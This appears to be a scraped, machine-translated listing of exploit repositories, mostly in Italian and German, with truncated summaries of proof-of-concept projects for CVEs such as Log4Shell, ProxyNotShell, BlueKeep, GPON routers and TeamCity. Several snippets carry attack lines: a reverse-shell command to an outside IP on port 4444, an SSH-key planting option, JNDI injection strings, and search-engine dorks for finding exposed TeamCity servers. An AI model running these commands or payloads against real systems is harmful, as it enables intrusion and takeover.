CVE-2017-0108

Il componente grafico di Windows in Microsoft Office 2007 SP3; 2010 SP2; e Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 e R2 SP1; e Windows 7 SP1 consente a malintenzionati remoti di eseguire codice...

CVE-2025-50754-PoC

CVE-2025-50754 Gespeichertes XSS zu Remote Code Execution in einer PHP-basierten CMS-Plattform Zusammenfassung Eine PHP-basierte CMS-Plattform Version 5 enthält eine gespeicherte Cross-Site-Scripting-Schwachstelle XSS in der Funktion „Report“. Wenn ein Administrator einen von einem Benutzer...

GPON_RCE

GPONRCE Exploit per l'esecuzione di codice remoto su router domestici GPON CVE-2018-10562 scritto in Python...

CVE-2024-47533

root@kitploit: Shell inversa python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Comando semplice python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Aggiungi chiave SSH python3 CVE-2024-47533.py --url http://127.0.0.1:251...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin Prova di concetto pgAdmin Query Tool RCE CVE-2025-2945 – Prova di concetto in Python ⚠️ Avvertenza Questo repository contiene un exploit proof-of-concept per CVE-2025-2945, una vulnerabilità critica di esecuzione remota di codice in pgAdmin 4 versioni precedenti alla 9.2...

CVE-2018-1000117-Exploit

CVE-2018-1000117 La versione di CPython della Python Software Foundation, dalla 3.2 fino alla 3.6.4, su Windows contiene una vulnerabilità di buffer overflow nella funzione os.symlink su Windows che può comportare l'esecuzione di codice arbitrario, probabilmente l'escalation dei privilegi. Questo...

microsoft-diagcab-rce-poc

microsoft-diagcab-rce-poc Prova di concetto su una vulnerabilità di path traversal nella tecnologia Diagcab di Microsoft che potrebbe portare all'esecuzione remota di codice Puoi trovare l'advisory completo qui: https://medium.com/@radimre83/the-trouble-with-microsofts-troubleshooters-6e32fc80b8b...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Esempio di iniezione remota di codice tramite RMI e LDAP sfruttando CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit...

PowerSploit

Fork creato per aggiungere alcune funzionalità a PowerView.ps1 che eseguo comunemente manualmente Questo progetto non è più supportato PowerSploit è una raccolta di moduli Microsoft PowerShell che possono essere utilizzati per assistere i penetration tester durante tutte le fasi di una valutazion...

CVE-2021-44228-Log4j-lookup-Rce

0x01、Ambiente Jdk7u21 qualsiasi versione va bene Versione interessata: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER =...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635,MS15-034 Schwachstellenerkennung root@kitploit: USAGE python MS15-034.py www.xxx.com:80 Testprogramm HTTP.sys-Remotecodeausführung-Schwachstelle（CVE-2015-1635，MS15-034） Die Remotecodeausführung-Schwachstelle existiert im HTTP-Protokollstapel HTTP.sys. Diese Schwachstel...

CVE-2022-22965

Analisi della CVE 2022-22965Spring4Shell Descrizione della vulnerabilità Spring4Shell è il nome di una CVE presente in Spring Core di Spring Framework. Con un punteggio CVSS 3.x di 9.8, la vulnerabilità è classificata come rischio massimo critical. Questa vulnerabilità consente a un attaccante di...

CVE-2024-24787-PoC

CVE-2024-24787-PoC Su Darwin, la costruzione di un modulo Go che contiene CGO può innescare l'esecuzione arbitraria di codice quando si utilizza la versione Apple di ld, a causa dell'uso del flag -ltolibrary in una direttiva "cgo LDFLAGS". Non è un mio bug, ho solo creato un PoC per esso...

CVE-2024-27198-RCE

Dork per la mappatura del cyberspazio Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Come usare Sto usando Python3.9. root@kitploit: pip install requests...

Kernelhub

Benvenuto in Kernelhub Premessa L'intenzione originale della realizzazione del progetto è per imparare, analizzare e ricercare le ultime vulnerabilità del kernel senza dover guardare il sistema e i contenuti correlati. Questo progetto è una raccolta proprietaria, ad eccezione dei test falliti o n...

CVE-2019-0709

CVE-2019-0708 BlueKeep Exploit CVE-2019-0708 RCE und Crash Exploit mit Python Crash Exploit Veröffentlicht Usage: python3 crashexploit.py 127.0.0.1 64 RCE Exploit Nicht veröffentlicht Usage: python3 exploitrce.py 127.0.0.1 payload...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Vulnerabilità RCE Esecuzione di Codice Remoto nelle versioni datate di Confluence Data Center e Server Data di rilascio dell'avviso Tue, Jan 16 2024 01:00 EST Prodotti: Confluence Data Center Confluence Server Versioni Interessate: 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x...

ProxyNotShell-PoC

PoC funzionante per CVE-2022-41040 e CVE-2022-41082 A.K.A ProxyNotShell Requisito: pip install requestsntlm2 requests Utilizzo: root@kitploit: python pocaug3.py Credenziali: Script PoC di ProxyShell da: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ Post del...

CVE-2019-7214

CVE-2019-7214 Esecuzione di codice remoto nella deserializzazione .NET per il sistema SmarterMail. Raccolta In questo repository è disponibile una raccolta di proof of concept per l'exploit. Alcune potrebbero funzionare come previsto senza modifiche, altre potrebbero richiederle...

hot-jar-swapping-urlclassloader

Sostituzione a caldo dei JAR con URLClassLoader Il seguente codice di esempio mostra la possibilità di sostituire a caldo un file JAR già caricato e ottenere l'esecuzione di codice abusando del fatto che le classi interne accedono ancora al file JAR quando vengono invocate, purché l'inode non...